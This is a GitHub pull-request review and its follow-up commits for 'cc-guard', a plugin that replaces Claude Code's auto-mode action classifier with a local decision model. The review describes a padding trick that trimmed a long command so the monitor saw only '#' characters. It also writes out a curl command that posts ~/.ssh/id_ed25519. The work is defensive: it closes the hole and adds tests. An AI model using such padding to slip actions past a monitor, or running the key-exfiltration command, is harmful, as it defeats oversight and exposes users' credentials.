Repository navigation
Conversation
yetone
left a comment
There was a problem hiding this comment.
Review: #270, cc-guard 0.1.0 (Euraxluo)
Reviewed head: 1ef33933b8c529f2535a99856c799335d369f6a3 (one commit on origin/main 97aea17). There were no earlier comments or reviews.
Verdict: request changes. The idea passes on policy. Its fail-closed claim does not hold when the action is long, and the guarantees the README makes are untested.
Policy
- Not client mimicry, nothing forged to Anthropic. No classifier request reaches Anthropic. The plugin answers Claude Code locally, through magpie, with its own id (
msg_guard_…, provider.mjs:89) and echoes the model it was asked for (provider.mjs:179). It sends no Anthropic header and no Claude Code identity anywhere. The decision-model call (provider.mjs:65) goes to magpie's own/v1/systemone. Its question text is neutral and names neither magpie nor a vendor (classify.mjs:157-185). - The slot it fills is a documented one.
CLAUDE_CODE_AUTO_MODE_MODELis in Claude Code's own changelog (2.1.302: "choose the model the client-side auto mode classifier uses; it does not change the model for server-side auto mode"). A server-configured classifier model still takes priority over it (checked in the 2.1.305 binary).CLAUDE_CODE_AUTO_MODE_SERVERis the user switch magpie already writes (internal/agent/claude.go:292, docs/subsystems/agent-wiring.md:76). Today magpie already lets any non-Claude session model answer the local classifier (internal/gateway/automode.go). So the plugin bypasses no check the user didn't pick. - Opt-in: the user has to install the plugin, sign in, and edit settings.json by hand. Nothing turns it on by itself.
- Account risk is low. SERVER=0 is Anthropic's documented path for a gateway, and classifier traffic stays local. One disclosure gap, which blocks: when Claude Code also reaches a Claude model through magpie, magpie deliberately leaves the server review on. README.md:29-43 tells every user to set
"0", which turns off Anthropic's review for those Claude sessions and puts jev in its place. The README has to say that plainly. Better: tell such users the env model is ignored while the server review is on, and let them choose. - No duplicate of a built-in. magpie has no classifier of its own and "answers none on [Anthropic's] behalf". The plugin uses System One as a client would. It doesn't conflict with
fitAutoModeClassifier, because that only touches chat models. - Anthropic's prompt is redistributed.
fixtures/classifier-system.txtis the full 140 KB Claude Code classifier prompt, including anx-anthropic-billing-header: cc_version=2.1.304…line. It sits under this package's MIT LICENSE, and package.json:8 ships it, with the test, in the npm tarball. No other package ships its tests. Please take it out of the repo, not only out offiles: replace it with a trimmed fixture with the section headers, a few real rule lines and the billing line removed that tests the same parser, and dropclassify.test.mjsandfixturesfromfiles. It was checked for personal data and holds none: the user identity isecho.
Blocking
- classify.mjs:125-126, the guard fails open on a long action. When the whole transcript is over 24,000 chars, the final line is cut to its last 8,000 chars, so the head of the command is gone. Reproduced: a
curl -X POST … -d @$HOME/.ssh/id_ed25519 # <9000 × '#'>action after a long session reached jev as only#####…, with nocurland noid_ed25519. jev then judges padding, and the likely answer isnone, which allows the action. Fix: keep the head and the tail of the action. A safer option is to block (503) when the action itself is over budget, rather than judge part of it. - package.json:17 and provider.mjs:21, the default model
group/jevdoesn't exist unless the user made a routing group with the idjev. Out of the box every request returns 503, so Claude Code denies every action that isn't read-only. The README never says to create a group or setmodel. Document the step, or show the error in plain words ("set the model option to a decision model you have"). - provider.mjs has no tests at all. That leaves untested the 503 on a jev failure, the 503 when no rules are found, the 400 for chat, the stream and JSON shapes, the stop reasons, and the cache. Each was broken by hand:
- M5 (a jev failure answers
<block>no</block>, so the guard fails open): 19/19 green. The README's main safety claim (README.md:66-69) fails nothing when it breaks. - M3 (stage no longer read from
stop_sequences) and M4 (stage no longer read from the text): each stays green. The stage-1 test (classify.test.mjs:51) carries both signals, so each one is untested on its own. - M7 (ALLOW exceptions ignored): green. The test "an allow exception that outranks the soft rule" (classify.test.mjs:91) uses a soft sum of 0.2, below SOFT_SUM, so it would pass without any ALLOW logic. Use soft rules of 0.3 + 0.25 against an allow of 0.4.
- M8 (stage 1 uses the best soft rule instead of the sum): green. The split-soft case is tested only at stage 2.
- M1, M2 and M6 (intent clears soft; intent clears hard; a boundary with no territory) each go red as they should.
- M5 (a jev failure answers
- provider.mjs:205-208, the sign-in field misleads. The label is Chinese only. It also says the typed value is the gateway key (the same as ANTHROPIC_AUTH_TOKEN), but
authorize()throws it away and returnskey: "local", and the token really comes fromoptions.token. Either use the typed key as the token, or label the field as unused, in en and zh.
Non-blocking
- classify.mjs:271 exports a
cacheKeythat nothing uses. provider.mjs:58 defines its own, which keys on the first 160 characters of the system prompt: the generic preamble, not the rules. Keep one, and key it on the rules section as the unused one does. - package.json:4 says "backed by magpie's jev model". Jev is TypeSafe's, so say "a decision model".
- README.md (root) lists
cc-guardaftercline. Alphabetically it goes before. - Unverified: whether magpie rests, retries or falls back on the plugin's deliberate 503. A retry calls jev again, and a fallback could send the classifier to some other model. The README should say what the user sees.
- The new npm name
@magpie-community/opencode-cc-guard-authgives a 404 on the registry, so it is new. After merge it is served fromdistuntil an owner publishes it.
Run at 1ef3393
HOME=$(mktemp -d) bun test --preload netguard.mjs packages/cc-guard: 19 pass, 0 fail.HOME=$(mktemp -d) bun test --preload netguard.mjs(whole repo): 1900 pass, 0 fail, 170 files. The netguard preload blocked nothing.bun scripts/check.mjs: exit 0, cc-guard ✓.- Mutations: see Blocking item 3 (M1, M2 and M6 red; M3, M4, M5, M7 and M8 green).
classify()was driven against a fake/v1/systemoneon an ephemeral loopback port:- stage 1 streams
<block>yes; stage 2 reuses the cached answer (1 jev call) and clears an authorized force-push; - chat gets 400, a gateway that is down gets 503, a prompt with no rules gets 503;
- the body sent holds
model,state{transcript,environment,session}andquestions, withBearer magpie.
- stage 1 streams
- Truncation hole: reproduced by a script (Blocking item 1).
npm view --prefer-online --registry https://registry.npmjs.org @magpie-community/opencode-cc-guard-auth: 404.
…er, ship a trimmed fixture Addresses the review of magpie-community#270: - Blocking 1: an action longer than the final-line budget blocks (503) instead of being judged from a fragment — the head of the command can no longer disappear. Test: the curl-to-id_ed25519 shape from the review now answers 503. - Blocking 2: the jev routing group step is documented (README), and askJev's failure message says plainly what to set. - Blocking 3: provider.test.mjs — a fake /v1/systemone on an ephemeral loopback port covers the request shape, stage-2 cache reuse, distinct transcripts, hard/soft/allow verdicts and the boundary, stream and JSON shapes, chat 400, no-rules 503, gateway-down 503. - Blocking 4: the sign-in field is labeled unused in en and zh; the gateway token comes from options.token. - Blocking 5: fixtures/classifier-system.txt loses its x-anthropic-billing-header line; files no longer ship classify.test.mjs or fixtures in the npm tarball. - Non-blocking: one cacheKey (rules section), 'a decision model' in the description, the SERVER=0 trade-off disclosed plainly, the 503 user experience and magpie's no-retry behavior documented. Tests: HOME=$(mktemp -d) bun test packages/cc-guard — 41 pass, 0 fail.
…sion model Claude Code reviews each auto mode action with an Anthropic Messages request, and a decision model such as jev answers questions rather than chat. The plugin reads the block rules and the transcript out of that request, asks the model through magpie's gateway, and returns the <block> verdict. A model that can't be reached answers 503, so the action is denied instead of run.
…ript budget The final line was cut to its last 8000 chars, so the head of a long command — the part that says what it does — never reached the decision model, and padding was judged instead. An action longer than the final-line budget now refuses to be trimmed: questionsFor returns null and the provider answers 503, which Claude Code reads as "can't judge" and denies the action. A test reproduces yetone's curl exfiltration through a long session and a second covers the refusal.
The default model group/jev only exists if the user made a routing group with that id; out of the box every request failed with a bare gateway error. The README gains a "The decision model" section that explains creating the jev routing group or setting the model option to one the user has, and a failed jev call now says exactly that in its 503 message.
…reamble provider.mjs carried its own cacheKey over the first 160 characters of the system prompt — the generic preamble every classifier request shares — while classify.mjs exported an unused one over the rules section. The provider now imports the rules-section key, so two different rule sets no longer share a cached answer.
provider.mjs had no tests at all. A Bun.serve fake on an ephemeral loopback port now covers the gateway call shape (model, state, questions, bearer token), the stage-2 reuse of the stage-1 answer with zeroed usage, distinct transcripts not sharing answers, hard/soft/allow verdicts and the boundary, the stream and JSON reply shapes with their stop reasons, chat answered 400, a prompt without rules answered 503, a gateway failure and a non-JSON body answered 503, an action over the transcript budget answered 503, and the loader's endpoint dispatch. Also restores the askJev return dropped while editing the error text.
The stage-1 test carried both the stop sequence and the instruction line, so dropping either detection left it green. Two tests now pin each signal separately: the instruction line alone picks stage 1, and the stop sequence alone picks stage 1 over a stage-2-looking body.
The field claimed to be the gateway key, but authorize() throws the typed value away and the token comes from the plugin's token option. The label now says so in Chinese and English instead of asking for a credential the plugin never reads.
…er, ship a trimmed fixture Addresses the review of magpie-community#270: - Blocking 1: an action longer than the final-line budget blocks (503) instead of being judged from a fragment — the head of the command can no longer disappear. Test: the curl-to-id_ed25519 shape from the review now answers 503. - Blocking 2: the jev routing group step is documented (README), and askJev's failure message says plainly what to set. - Blocking 3: provider.test.mjs — a fake /v1/systemone on an ephemeral loopback port covers the request shape, stage-2 cache reuse, distinct transcripts, hard/soft/allow verdicts and the boundary, stream and JSON shapes, chat 400, no-rules 503, gateway-down 503. - Blocking 4: the sign-in field is labeled unused in en and zh; the gateway token comes from options.token. - Blocking 5: fixtures/classifier-system.txt loses its x-anthropic-billing-header line; files no longer ship classify.test.mjs or fixtures in the npm tarball. - Non-blocking: one cacheKey (rules section), 'a decision model' in the description, the SERVER=0 trade-off disclosed plainly, the 503 user experience and magpie's no-retry behavior documented. Tests: HOME=$(mktemp -d) bun test packages/cc-guard — 41 pass, 0 fail.
…ompt fixtures/classifier-system.txt was the full 140 KB Claude Code classifier prompt, billing header included, sitting under this package's MIT license and shipped in the npm tarball. The fixture now carries the section headers the parser reads and a handful of real rule lines per section that the tests exercise — Data Exfiltration, Credential Exploration, the deletion rules, Local Operations and Memory Directory — with the billing line and every rule the tests don't touch removed. classify.test.mjs and fixtures left the files list, and the description says "a decision model" instead of naming jev.
check.mjs wants the package entry's default export to carry a setup function, not just the provider's server. The provider's server is the setup — same signature (context, options) — so the default now names it setup.
|
All five blocking points and the non-blocking notes are in, rebased onto main (head 9bca192 + the OpenCode 2.x export fix):
Non-blocking: one
|
A full-repo test run writes atomcode-state.json at the repo root, and it was committed alongside the OpenCode 2.x default. It is runtime state, not package source; remove it and ignore it.
|
@yetone Thanks for the detailed review — the fail-closed hole and the missing provider tests were both real. Everything is addressed at Blocking1. Fails open on a long action (
Your reproduction is now a test ( Mutation check on this fix: restoring the old 2. Default model
3.
Your specific fixes:
Mutation matrix (M1–M8), each applied by hand to
All eight are red now, including the five that were green at 4. Sign-in field misleads ( Label is now 5. Anthropic's prompt is redistributed — fixed in
Non-blocking
Checks at
|
The README claimed magpie neither retries the classifier nor falls back to another model. Nothing in magpie's plugin path decides that — the classifier request is Claude Code's own, and the plugin answers it directly — so the text now says what is verifiable: the plugin never answers a verdict it didn't get from the model, it adds no retry, no other model is asked in its place, and the next action is a new request.
|
One correction on my previous comment, and a status line. The README no longer claims what magpie does with the plugin's 503. I had written that "magpie neither retries the classifier nor falls back to another model" — you flagged that as unverified, and looking through magpie's plugin path (
|
|
CI on |
Summary
cc-guard 0.1.1 — reworked per the review of
1ef33933. Rebased ontomain(4a06364), no conflicts.Blocking
12c8688. An action longer than the final-line budget is no longer cut to its tail:trimTranscriptreturnsnull,questionsForreturnsnull, andclassify()answers 503, so Claude Code denies the action. The review's reproduction (acurl -X POST … -d @$HOME/.ssh/id_ed25519padded with#after a long session) is a regression test and now answers 503; a second test proves an action that fits still keeps its head.49698e9. README gained a The decision model section: the defaultgroup/jevdoes not exist until you create a routing group with that id, or set themodeloption to a decision model you have.askJev's failure now appends: Set the plugin's "model" option to a decision model you have (for example a routing group id), or create the missing routing group in magpie.provider.mjsis tested —68d59fe,e69af86.provider.test.mjsdrivesclassify()against a fake/v1/systemone(Bun.serve,127.0.0.1, ephemeral port). The stage signals have one test each (e69af86), the ALLOW test uses soft 0.3 + 0.25 against allow 0.4, and stage 1 has its own split-soft case. Mutation matrix M1‑M8 is in the PR comment: every mutation now turns a specific test red.6e82746. Labeled unused in en and zh; the gateway token comes fromoptions.token, not this field.2734138,9bca192.fixtures/classifier-system.txtis now a ~5 KB authored fixture: the section headers the parser reads plus a few real rule lines per section (Data Exfiltration, Credential Exploration, the deletion rules, Local Operations, Memory Directory) and no billing header.filesno longer shipsclassify.test.mjsorfixtures.Non-blocking
cacheKey, keyed on the rules section, inclassify.mjs; the provider imports it (8cece05).a decision modelin the description, not "magpie's jev model".cc-guardbeforecline(7028a4f).d618e67).SERVER=0trade-off is disclosed plainly: with the server review on, the env model is ignored entirely; setting"0"replaces Anthropic's review with this plugin's local one. The README tells the user to pick one and know which they dropped (2734138).Also in this branch
d495d64gives the package the OpenCode 2.x default{id, setup}thatscripts/check.mjsexpects (plugins#657).ec3ed52removesatomcode-state.json, runtime state a full-repo test run writes at the repo root, and ignores it.d618e67corrects the 503 paragraph: it says what the plugin does, not what magpie does, since nothing in magpie's plugin path decides a retry.Checks (at
d618e67)HOME=$(mktemp -d) bun test packages/cc-guard: 41 pass, 0 fail, 131 expects.bun scripts/check.mjs cc-guard: ✓.HOME=$(mktemp -d) bun test(whole repo): 1919 pass, 3 fail — all three inpackages/cursor(native-e2e/native-session), unchanged by this branch.netguard.mjsexists in this repo or on this machine, so the test command ran without--preload; the CI workflow (bun test) does the same.